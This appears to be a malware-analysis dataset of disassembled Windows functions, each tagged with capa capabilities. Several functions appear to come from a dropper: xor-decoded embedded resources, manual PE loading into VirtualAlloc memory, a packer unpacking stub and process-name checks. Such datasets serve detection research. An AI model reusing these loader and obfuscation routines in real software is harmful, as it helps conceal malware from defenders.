joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10001000
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x240
push ebx
push esi
push edi
mov esi, str.msapi.sys
lea edi, [ebp - 0x40]
xor eax, eax
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
lea edi, [ebp - 0x36]
mov esi, str.stream.sys
stosd dword es:[edi], eax
stosb byte es:[edi], al
lea edi, [ebp - 0x31]
xor eax, eax
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
movsb byte es:[edi], byte [esi]
lea edi, [ebp - 0x26]
mov esi, str.mfcs42.dll
stosd dword es:[edi], eax
lea edi, [ebp - 0x22]
and byte [ebp - 0x140], al
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
movsb byte es:[edi], byte [esi]
lea edi, [ebp - 0x17]
mov esi, str.msvbrt.dll
stosd dword es:[edi], eax
lea edi, [ebp - 0x13]
push 0x3f
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
movsb byte es:[edi], byte [esi]
lea edi, [ebp - 8]
pop ecx
stosd dword es:[edi], eax
lea edi, [ebp - 0x13f]
push 0x100036c4
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
lea eax, [ebp - 0x240]
push eax
call sub.MSVCRT.dll_strcat
mov esi, dword [sym.imp.KERNEL32.dll_GetTempFileNameA]
pop ecx
pop ecx
lea ebx, [ebp - 0x40]
mov dword [ebp - 4], 4
mov edi, 0x10003778
lea eax, [ebp - 0x140]
push ebx
push eax
call sub.MSVCRT.dll_strcat
pop ecx
lea eax, [ebp - 0x140]
pop ecx
push eax
push 0
lea eax, [ebp - 0x240]
push edi
push eax
call esi
add ebx, 0xf
dec dword [ebp - 4]
jne 0x1000108f
lea eax, [ebp - 0x140]
push eax
push 0
lea eax, [ebp - 0x240]
push edi
push eax
call esi
lea eax, [ebp - 0x240]
push str.mfc42.dll
push eax
call sub.MSVCRT.dll_strcat
pop ecx
pop ecx
pop edi
pop esi
pop ebx
leave
ret

Function at 0x1000132b
Capabilities:
Encode data using xor

Disassembly:
xor ecx, ecx
cmp dword [esp + 8], ecx
jle 0x10001346
mov eax, dword [esp + 4]
mov dl, byte [esp + 0xc]
add eax, ecx
xor byte [eax], dl
inc ecx
cmp ecx, dword [esp + 8]
jl 0x10001333
ret
Function at 0x10001400
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ecx
push ebx
push ebp
mov ebp, dword [esp + 0x10]
push esi
push edi
push 0x10003704
push 0x65
push ebp
call dword [sym.imp.KERNEL32.dll_FindResourceA]
mov esi, eax
push esi
push ebp
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov edi, eax
push edi
call dword [sym.imp.KERNEL32.dll_LockResource]
push esi
push ebp
mov dword [esp + 0x20], eax
call dword [sym.imp.KERNEL32.dll_SizeofResource]
mov esi, eax
push esi
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
push esi
mov ebx, eax
push dword [esp + 0x20]
push ebx
call sub.MSVCRT.dll_memcpy
add esp, 0x10
push edi
call dword [sym.imp.KERNEL32.dll_FreeResource]
lea eax, [esp + 0x10]
push eax
push esi
push ebx
call fcn.10001347
add esp, 0xc
mov dword [0x10003774], eax
test eax, eax
je 0x100014c3
push eax
call fcn.100015c6
test eax, eax
pop ecx
mov dword [0x10003768], eax
je 0x100014c3
mov esi, 0x88
mov edi, 0x100036a0
push esi
push 0xb
push edi
call fcn.1000132b
push esi
mov esi, 0x100036ac
push 0xb
push esi
call fcn.1000132b
push edi
push dword [0x10003768]
call fcn.10001a93
push esi
mov dword [0x10003770], eax
push dword [0x10003768]
call fcn.10001a93
add esp, 0x28
mov dword [0x1000376c], eax
mov eax, dword [0x1000376c]
test eax, eax
je 0x100014d6
push section.Shared
push ebp
call eax
pop ecx
pop ecx
push 1
pop eax
pop edi
pop esi
pop ebp
pop ebx
pop ecx
ret 4

Function at 0x100014e1
Capabilities:
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x128
push ebx
push esi
push edi
push str.kernel32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov esi, eax
xor ebx, ebx
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
push str.CreateToolhelp32Snapshot
push esi
mov edi, eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push ebx
push 2
call eax
mov esi, eax
lea eax, [ebp - 0x128]
push eax
push esi
mov dword [ebp - 0x128], 0x128
call sub.KERNEL32.dll_Process32First
test eax, eax
je 0x1000158a
cmp dword [ebp - 0x120], edi
je 0x10001549
lea eax, [ebp - 0x128]
push eax
push esi
call sub.KERNEL32.dll_Process32Next
jmp 0x1000152e
lea eax, [ebp - 0x104]
push eax
call dword [sym.imp.MSVCRT.dll__strlwr]
cmp byte [ebp - 0x104], 0x73
mov al, byte [ebp - 0x103]
pop ecx
jne 0x1000156e
cmp al, 0x76
je 0x1000158a
cmp al, 0x70
je 0x1000158a
cmp byte [ebp - 0x104], 0x65
jne 0x1000157b
cmp al, 0x78
je 0x1000158a
cmp byte [ebp - 0x104], 0x77
jne 0x10001588
cmp al, 0x75
je 0x1000158a
mov bl, 1
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
mov al, bl
pop esi
pop ebx
leave
ret
Function at 0x100015c6
Capabilities:
Encode data using xor
Parse pe header

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
push ebx
push esi
push edi
mov esi, 0x10003758
lea edi, [ebp - 0x18]
xor eax, eax
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
cmp dword [0x10003780], eax
movsw word es:[edi], word [esi]
movsb byte es:[edi], byte [esi]
jne 0x1000160d
xor byte [ebp + eax - 0x18], 0x88
inc eax
cmp eax, 0xe
jb 0x100015e7
push str.kernel32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
lea ecx, [ebp - 0x18]
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0x10003780], eax
mov eax, dword [ebp + 8]
cmp word [eax], 0x5a4d
jne 0x10001714
mov esi, dword [eax + 0x3c]
add esi, eax
cmp dword [esi], 0x4550
jne 0x10001714
mov edi, 0x2000
mov ebx, dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push 4
push edi
push dword [esi + 0x50]
push dword [esi + 0x34]
call ebx
test eax, eax
mov dword [ebp - 4], eax
jne 0x1000165d
push 4
push edi
push dword [esi + 0x50]
push eax
call ebx
test eax, eax
mov dword [ebp - 4], eax
je 0x10001714
push 0x14
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov edi, eax
mov eax, dword [ebp - 4]
xor ecx, ecx
push 4
push 0x1000
mov dword [edi + 4], eax
mov dword [edi + 0xc], ecx
mov dword [edi + 8], ecx
mov dword [edi + 0x10], ecx
push dword [esi + 0x50]
push eax
call ebx
push 4
push 0x1000
push dword [esi + 0x54]
push dword [ebp - 4]
call ebx
mov ebx, dword [ebp + 8]
mov ecx, dword [esi + 0x54]
mov dword [ebp - 8], eax
add ecx, dword [ebx + 0x3c]
push ecx
push ebx
push eax
call sub.MSVCRT.dll_memcpy
mov eax, dword [ebx + 0x3c]
mov ecx, dword [ebp - 8]
add eax, ecx
mov ecx, dword [ebp - 4]
push edi
push esi
mov dword [edi], eax
push ebx
mov dword [eax + 0x34], ecx
call fcn.10001722
mov ebx, dword [ebp - 4]
add esp, 0x18
mov eax, ebx
sub eax, dword [esi + 0x34]
je 0x100016df
push eax
push edi
call fcn.1000188c
pop ecx
pop ecx
push edi
call fcn.10001906
test eax, eax
pop ecx
je 0x1000170d
push edi
call fcn.100017cf
mov eax, dword [edi]
pop ecx
mov eax, dword [eax + 0x28]
test eax, eax
je 0x1000171b
add eax, ebx
test eax, eax
je 0x1000170d
push 0
push 1
pop esi
push esi
push ebx
call eax
test eax, eax
jne 0x10001718
push edi
call fcn.10001ab2
pop ecx
xor eax, eax
jmp 0x1000171d
mov dword [edi + 0x10], esi
mov eax, edi
pop edi
pop esi
pop ebx
leave
ret
Function at 0x10001722
Capabilities:
Enumerate pe sections

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
mov eax, dword [ebp + 0x10]
and dword [ebp - 4], 0
push esi
mov ecx, dword [eax + 4]
mov eax, dword [eax]
mov dword [ebp - 8], ecx
movzx ecx, word [eax + 0x14]
cmp word [eax + 6], 0
lea esi, [ecx + eax + 0x18]
jbe 0x100017cc
push ebx
push edi
mov edi, dword [sym.imp.KERNEL32.dll_VirtualAlloc]
add esi, 0x10
mov ebx, 0x1000
cmp dword [esi], 0
jne 0x1000178d
mov eax, dword [ebp + 0xc]
mov eax, dword [eax + 0x38]
test eax, eax
mov dword [ebp - 0xc], eax
jle 0x100017b6
push 4
push ebx
push eax
mov eax, dword [esi - 4]
add eax, dword [ebp - 8]
push eax
call edi
push dword [ebp - 0xc]
mov dword [esi - 8], eax
push 0
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
jmp 0x100017b6
mov eax, dword [esi - 4]
push 4
add eax, dword [ebp - 8]
push ebx
push dword [esi]
push eax
call edi
mov ecx, dword [esi + 4]
push dword [esi]
add ecx, dword [ebp + 8]
mov dword [ebp - 0xc], eax
push ecx
push eax
call sub.MSVCRT.dll_memcpy
mov eax, dword [ebp - 0xc]
add esp, 0xc
mov dword [esi - 8], eax
mov eax, dword [ebp + 0x10]
inc dword [ebp - 4]
add esi, 0x28
mov eax, dword [eax]
movzx eax, word [eax + 6]
cmp dword [ebp - 4], eax
jl 0x1000175b
pop edi
pop ebx
pop esi
leave
ret
Function at 0x436c50
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, 0x42c015
lea edi, [esi - 0x2b015]
push edi
or ebp, 0xffffffff
jmp 0x436c72
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x436c79
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x436c68
mov eax, 1
add ebx, ebx
jne 0x436c8b
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x436c80
jne 0x436c9c
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x436c80
xor ecx, ecx
sub eax, 3
jb 0x436cb0
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x436d22
mov ebp, eax
add ebx, ebx
jne 0x436cbb
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jne 0x436cc8
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jne 0x436cec
inc ecx
add ebx, ebx
jne 0x436cd8
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x436ccd
jne 0x436ce9
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x436ccd
add ecx, 2
cmp ebp, 0xfffff300
adc ecx, 1
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x436d0c
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x436cfd
jmp 0x436c6e
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x436d0c
add edi, ecx
jmp 0x436c6e
pop esi
lea edi, [esi + 0x34000]
mov eax, dword [edi]
or eax, eax
je 0x436d74
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x363d4]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x36484]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x436d29
mov ecx, edi
jns 0x436d58
movzx eax, word [edi]
inc edi
push eax
inc edi
mov ecx, 0xaef24857
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x3648c]
or eax, eax
je 0x436d6e
mov dword [ebx], eax
add ebx, 4
jmp 0x436d46
call dword [esi + 0x36488]
mov ebp, dword [esi + 0x36490]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x19f]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x436da8
sub esp, 0xffffff80
jmp 0x40d530
Function at 0x10004f86
Capabilities:
Enumerate pe sections

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
mov eax, dword [ebp + 0x14]
mov ecx, dword [eax + 4]
mov dword [ebp - 0xc], ecx
mov edx, dword [ebp + 0x14]
mov eax, dword [edx]
mov ecx, dword [ebp + 0x14]
mov edx, dword [ecx]
xor ecx, ecx
mov cx, word [edx + 0x14]
lea edx, [eax + ecx + 0x18]
mov dword [ebp - 4], edx
mov dword [ebp - 0x10], 0
jmp 0x10004fc7
mov eax, dword [ebp - 0x10]
add eax, 1
mov dword [ebp - 0x10], eax
mov ecx, dword [ebp - 4]
add ecx, 0x28
mov dword [ebp - 4], ecx
mov edx, dword [ebp + 0x14]
mov eax, dword [edx]
xor ecx, ecx
mov cx, word [eax + 6]
cmp dword [ebp - 0x10], ecx
jge 0x100050e1
mov edx, dword [ebp - 4]
cmp dword [edx + 0x10], 0
jne 0x10005054
mov eax, dword [ebp + 0x10]
mov ecx, dword [eax + 0x38]
mov dword [ebp - 0x14], ecx
cmp dword [ebp - 0x14], 0
jle 0x1000504f
mov edx, dword [ebp + 0x14]
mov eax, dword [edx + 0x34]
push eax
push 4
push 0x1000
mov ecx, dword [ebp - 0x14]
push ecx
mov edx, dword [ebp - 4]
mov eax, dword [ebp - 0xc]
add eax, dword [edx + 0xc]
push eax
mov ecx, dword [ebp + 0x14]
call dword [ecx + 0x1c]
add esp, 0x14
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
jne 0x10005028
xor eax, eax
jmp 0x100050e6
mov edx, dword [ebp - 4]
mov eax, dword [ebp - 0xc]
add eax, dword [edx + 0xc]
mov dword [ebp - 8], eax
mov ecx, dword [ebp - 4]
mov edx, dword [ebp - 8]
mov dword [ecx + 8], edx
mov eax, dword [ebp - 0x14]
push eax
push 0
mov ecx, dword [ebp - 8]
push ecx
call fcn.10018d50
add esp, 0xc
jmp 0x10004fb5
mov edx, dword [ebp - 4]
mov eax, dword [edx + 0x14]
mov ecx, dword [ebp - 4]
add eax, dword [ecx + 0x10]
push eax
mov edx, dword [ebp + 0xc]
push edx
call fcn.10004f70
add esp, 8
test eax, eax
jne 0x10005075
xor eax, eax
jmp 0x100050e6
mov eax, dword [ebp + 0x14]
mov ecx, dword [eax + 0x34]
push ecx
push 4
push 0x1000
mov edx, dword [ebp - 4]
mov eax, dword [edx + 0x10]
push eax
mov ecx, dword [ebp - 4]
mov edx, dword [ebp - 0xc]
add edx, dword [ecx + 0xc]
push edx
mov eax, dword [ebp + 0x14]
call dword [eax + 0x1c]
add esp, 0x14
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
jne 0x100050aa
xor eax, eax
jmp 0x100050e6
mov ecx, dword [ebp - 4]
mov edx, dword [ebp - 0xc]
add edx, dword [ecx + 0xc]
mov dword [ebp - 8], edx
mov eax, dword [ebp - 4]
mov ecx, dword [eax + 0x10]
push ecx
mov edx, dword [ebp - 4]
mov eax, dword [ebp + 8]
add eax, dword [edx + 0x14]
push eax
mov ecx, dword [ebp - 8]
push ecx
call fcn.10018a10
add esp, 0xc
mov edx, dword [ebp - 4]
mov eax, dword [ebp - 8]
mov dword [edx + 8], eax
jmp 0x10004fb5
mov eax, 1
mov esp, ebp
pop ebp
ret
Function at 0x1000b2ae
Capabilities:
Contain obfuscated stackstrings
Parse pe header

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x100450a0
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x60
mov dword [ebp - 0x6c], 0
lea eax, [ebp - 0x68]
push eax
lea ecx, [ebp - 0x60]
call fcn.1000c050
mov dword [ebp - 4], 1
mov byte [ebp - 0x4c], 0x5f
mov byte [ebp - 0x4b], 0x30
mov byte [ebp - 0x4a], 0x31
mov byte [ebp - 0x49], 0x32
mov byte [ebp - 0x48], 0x33
mov byte [ebp - 0x47], 0x34
mov byte [ebp - 0x46], 0x35
mov byte [ebp - 0x45], 0x36
mov byte [ebp - 0x44], 0x37
mov byte [ebp - 0x43], 0x38
mov byte [ebp - 0x42], 0x39
mov byte [ebp - 0x41], 0x61
mov byte [ebp - 0x40], 0x62
mov byte [ebp - 0x3f], 0x63
mov byte [ebp - 0x3e], 0x64
mov byte [ebp - 0x3d], 0x65
mov byte [ebp - 0x3c], 0x66
mov byte [ebp - 0x3b], 0x67
mov byte [ebp - 0x3a], 0x68
mov byte [ebp - 0x39], 0x69
mov byte [ebp - 0x38], 0x6a
mov byte [ebp - 0x37], 0x6b
mov byte [ebp - 0x36], 0x6c
mov byte [ebp - 0x35], 0x6d
mov byte [ebp - 0x34], 0x6e
mov byte [ebp - 0x33], 0x6f
mov byte [ebp - 0x32], 0x70
mov byte [ebp - 0x31], 0x71
mov byte [ebp - 0x30], 0x72
mov byte [ebp - 0x2f], 0x73
mov byte [ebp - 0x2e], 0x74
mov byte [ebp - 0x2d], 0x75
mov byte [ebp - 0x2c], 0x76
mov byte [ebp - 0x2b], 0x77
mov byte [ebp - 0x2a], 0x78
mov byte [ebp - 0x29], 0x79
mov byte [ebp - 0x28], 0x7a
mov byte [ebp - 0x27], 0x41
mov byte [ebp - 0x26], 0x42
mov byte [ebp - 0x25], 0x43
mov byte [ebp - 0x24], 0x44
mov byte [ebp - 0x23], 0x45
mov byte [ebp - 0x22], 0x46
mov byte [ebp - 0x21], 0x47
mov byte [ebp - 0x20], 0x48
mov byte [ebp - 0x1f], 0x49
mov byte [ebp - 0x1e], 0x4a
mov byte [ebp - 0x1d], 0x4b
mov byte [ebp - 0x1c], 0x4c
mov byte [ebp - 0x1b], 0x4d
mov byte [ebp - 0x1a], 0x4e
mov byte [ebp - 0x19], 0x4f
mov byte [ebp - 0x18], 0x50
mov byte [ebp - 0x17], 0x51
mov byte [ebp - 0x16], 0x52
mov byte [ebp - 0x15], 0x53
mov byte [ebp - 0x14], 0x54
mov byte [ebp - 0x13], 0x55
mov byte [ebp - 0x12], 0x56
mov byte [ebp - 0x11], 0x57
mov byte [ebp - 0x10], 0x58
mov byte [ebp - 0xf], 0x59
mov byte [ebp - 0xe], 0x5a
mov byte [ebp - 0xd], 0
push 0x1005c670
lea ecx, [ebp - 0x60]
call fcn.1000c130
mov dword [ebp - 0x50], 0
jmp 0x1000b402
mov ecx, dword [ebp - 0x50]
add ecx, 1
mov dword [ebp - 0x50], ecx
mov edx, dword [ebp - 0x50]
cmp edx, dword [ebp + 0xc]
jge 0x1000b446
call dword [sym.imp.KERNEL32.dll_GetTickCount]
add eax, dword [ebp - 0x50]
push eax
call fcn.10019d5a
add esp, 4
call fcn.10019d67
cdq
mov ecx, 0x3e
idiv ecx
mov dword [ebp - 0x64], edx
mov edx, dword [ebp - 0x64]
mov al, byte [ebp + edx - 0x4c]
push eax
lea ecx, [ebp - 0x60]
call fcn.1000c170
push 0xa
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x1000b3f9
lea ecx, [ebp - 0x60]
push ecx
mov ecx, dword [ebp + 8]
call fcn.1000c080
mov edx, dword [ebp - 0x6c]
or edx, 1
mov dword [ebp - 0x6c], edx
mov byte [ebp - 4], 0
lea ecx, [ebp - 0x60]
call fcn.1000c0f0
mov eax, dword [ebp + 8]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
mov esp, ebp
pop ebp
ret
Function at 0x1000be25
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x118
cmp dword [0x1005c62c], 0
jne 0x1000be48
call fcn.1000c030
test eax, eax
jne 0x1000be48
push 0xffffffffffffffff
call dword [sym.imp.KERNEL32.dll_ExitProcess]
mov eax, dword [ebp - 4]
mov esp, ebp
pop ebp
ret 4

Function at 0x10011e54
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebx
push esi
push edi
xor edi, edi
cmp dword [esp + 0x14], edi
mov ebx, ecx
je 0x10011e92
call fcn.10041585
mov esi, dword [eax + 0xc]
push 0xf0
push dword [esp + 0x18]
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
test eax, eax
je 0x10011e92
push eax
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
test eax, eax
je 0x10011ea9
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov edi, eax
push 1
test edi, edi
pop eax
je 0x10011ea9
push dword [esp + 0x18]
mov eax, dword [ebx]
mov ecx, ebx
push edi
push dword [esp + 0x18]
call dword [eax + 0x1c]
pop edi
pop esi
pop ebx
ret 0xc
Function at 0x100373f0
Capabilities:
Get graphical window text

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push ebx
push esi
push edi
mov esi, dword [ebp + 0x10]
push 0xf00021
mov edx, dword [esi + 4]
mov ecx, dword [esi]
mov eax, dword [esi + 0xc]
sub eax, edx
push eax
mov eax, dword [esi + 8]
sub eax, ecx
push eax
push edx
push ecx
mov ecx, dword [ebp + 0xc]
push ecx
call dword [sym.imp.GDI32.dll_PatBlt]
mov edi, dword [ebp + 8]
push edi
call dword [sym.imp.USER32.dll_GetWindowTextLengthA]
mov ebx, eax
lea eax, [eax + 5]
add eax, 3
and eax, 0xfffffffc
call fcn.10019af0
mov dword [ebp - 4], esp
cmp dword [ebp - 4], 0
je 0x100374bb
add ebx, 2
mov eax, dword [ebp - 4]
push ebx
push eax
push edi
call dword [sym.imp.USER32.dll_GetWindowTextA]
test eax, eax
je 0x100374bb
mov bx, 0x140
mov edi, dword [ebp + 0x14]
mov eax, edi
and al, 0xf
cmp al, 0xc
je 0x1003746e
mov ebx, edi
and bx, 0xf
or bx, 0x150
test edi, 0x80
je 0x10037479
or bh, 8
and edi, 0x8000000
je 0x10037494
mov eax, dword [0x1006043c]
mov ecx, dword [ebp + 0xc]
push eax
push ecx
call dword [sym.imp.GDI32.dll_SetTextColor]
mov dword [ebp - 8], eax
mov ecx, dword [ebp - 4]
mov edx, dword [ebp + 0xc]
movzx eax, bx
push eax
push esi
push 0xffffffffffffffff
push ecx
push edx
call dword [sym.imp.USER32.dll_DrawTextA]
test edi, edi
je 0x100374bb
mov eax, dword [ebp - 8]
mov ecx, dword [ebp + 0xc]
push eax
push ecx
call dword [sym.imp.GDI32.dll_SetTextColor]
lea esp, [ebp - 0x14]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x10037890
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov eax, dword [esp + 8]
sub esp, 4
push ebx
push esi
mov esi, dword [esp + 0x10]
push edi
push ebp
push 2
push eax
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
mov edi, eax
test edi, edi
jne 0x100378bb
xor eax, eax
pop ebp
pop edi
pop esi
pop ebx
add esp, 4
ret 0x20
push edi
push esi
call dword [sym.imp.KERNEL32.dll_SizeofResource]
mov ebx, eax
push edi
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov esi, eax
test esi, esi
jne 0x100378df
xor eax, eax
pop ebp
pop edi
pop esi
pop ebx
add esp, 4
ret 0x20
push ebx
push 0x40
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov ebp, eax
test ebp, ebp
jne 0x100378fa
xor eax, eax
pop ebp
pop edi
pop esi
pop ebx
add esp, 4
ret 0x20
mov edi, ebp
mov ecx, ebx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov eax, dword [esp + 0x20]
xor ecx, ecx
mov cl, ah
mov edx, eax
mov dword [esp + 0x10], 0
shl ecx, 8
shr edx, 0x10
mov byte [esp + 0x10], dl
xor edx, edx
or ecx, dword [esp + 0x10]
mov dl, al
shl edx, 0x10
mov eax, dword [esp + 0x28]
or ecx, edx
mov edx, eax
shr edx, 0x10
mov dword [ebp + 0x28], ecx
mov dword [esp + 0x10], 0
xor ecx, ecx
mov byte [esp + 0x10], dl
mov cl, ah
xor edx, edx
shl ecx, 8
mov dl, al
shl edx, 0x10
or ecx, dword [esp + 0x10]
or ecx, edx
mov eax, dword [esp + 0x24]
mov edx, eax
mov dword [ebp + 0x44], ecx
shr edx, 0x10
xor ecx, ecx
mov dword [esp + 0x10], 0
mov cl, ah
mov byte [esp + 0x10], dl
shl ecx, 8
xor edx, edx
or ecx, dword [esp + 0x10]
mov dl, al
shl edx, 0x10
mov eax, dword [esp + 0x2c]
or ecx, edx
xor edx, edx
mov dl, al
mov dword [ebp + 0x48], ecx
shl edx, 0x10
xor ecx, ecx
mov cl, ah
shl ecx, 8
shr eax, 0x10
or ecx, edx
xor edx, edx
mov dl, al
mov eax, dword [esp + 0x30]
or ecx, edx
xor edx, edx
mov dl, al
mov dword [ebp + 0x64], ecx
shl edx, 0x10
xor ecx, ecx
mov cl, ah
shl ecx, 8
shr eax, 0x10
or ecx, edx
xor edx, edx
mov dl, al
mov eax, dword [esp + 0x34]
or ecx, edx
xor edx, edx
mov dl, al
mov dword [ebp + 0x54], ecx
shl edx, 0x10
xor ecx, ecx
mov cl, ah
shl ecx, 8
push 0
shr eax, 0x10
or ecx, edx
xor edx, edx
mov dl, al
or ecx, edx
mov dword [ebp + 0x50], ecx
call dword [sym.imp.USER32.dll_GetDC]
mov edi, eax
push 0
push ebp
lea ecx, [ebp + 0x68]
push ecx
push 4
push ebp
push edi
call dword [sym.imp.GDI32.dll_CreateDIBitmap]
mov esi, eax
push edi
push 0
call dword [sym.imp.USER32.dll_ReleaseDC]
push ebp
call dword [sym.imp.KERNEL32.dll_GlobalFree]
mov eax, esi
pop ebp
pop edi
pop esi
pop ebx
add esp, 4
ret 0x20
Function at 0x1003b11b
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebx
push esi
push edi
xor edi, edi
cmp dword [esp + 0x10], edi
mov ebx, ecx
je 0x1003b15d
call fcn.10041585
mov esi, dword [eax + 0xc]
push 0xf0
push dword [esp + 0x14]
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
cmp eax, edi
je 0x1003b15d
push eax
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
cmp eax, edi
jne 0x1003b154
xor eax, eax
jmp 0x1003b165
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov edi, eax
push edi
mov ecx, ebx
call fcn.1003b16b
pop edi
pop esi
pop ebx
ret 4
Function at 0x401060
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x421ff3
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
push esi
push edi
mov edi, dword [ebp + 8]
mov esi, ecx
push edi
mov dword [ebp - 0x10], esi
call fcn.0040fdb0
lea eax, [edi + 0xc]
push eax
lea ecx, [esi + 0xc]
mov dword [ebp - 4], 0
call fcn.0040fdb0
mov ecx, dword [edi + 0x18]
mov dword [esi + 0x18], ecx
mov edx, dword [edi + 0x1c]
lea eax, [edi + 0x20]
push eax
lea ecx, [esi + 0x20]
mov byte [ebp - 4], 1
mov dword [esi + 0x1c], edx
call fcn.0040fdb0
mov ecx, dword [edi + 0x2c]
mov dword [esi + 0x2c], ecx
mov edx, dword [edi + 0x30]
mov dword [esi + 0x30], edx
mov eax, dword [edi + 0x34]
mov dword [esi + 0x34], eax
mov ecx, dword [edi + 0x38]
mov dword [esi + 0x38], ecx
mov edx, dword [edi + 0x3c]
mov dword [esi + 0x3c], edx
mov eax, dword [edi + 0x40]
mov dword [esi + 0x40], eax
mov ecx, dword [edi + 0x44]
mov dword [esi + 0x44], ecx
mov edx, dword [edi + 0x48]
mov dword [esi + 0x48], edx
mov eax, dword [edi + 0x4c]
mov dword [esi + 0x4c], eax
mov ecx, dword [edi + 0x50]
mov dword [esi + 0x50], ecx
mov edx, dword [edi + 0x54]
mov ecx, dword [ebp - 0xc]
mov dword [esi + 0x54], edx
mov eax, dword [edi + 0x58]
mov dword [esi + 0x58], eax
pop edi
mov eax, esi
pop esi
mov dword fs:[0], ecx
mov esp, ebp
pop ebp
ret 4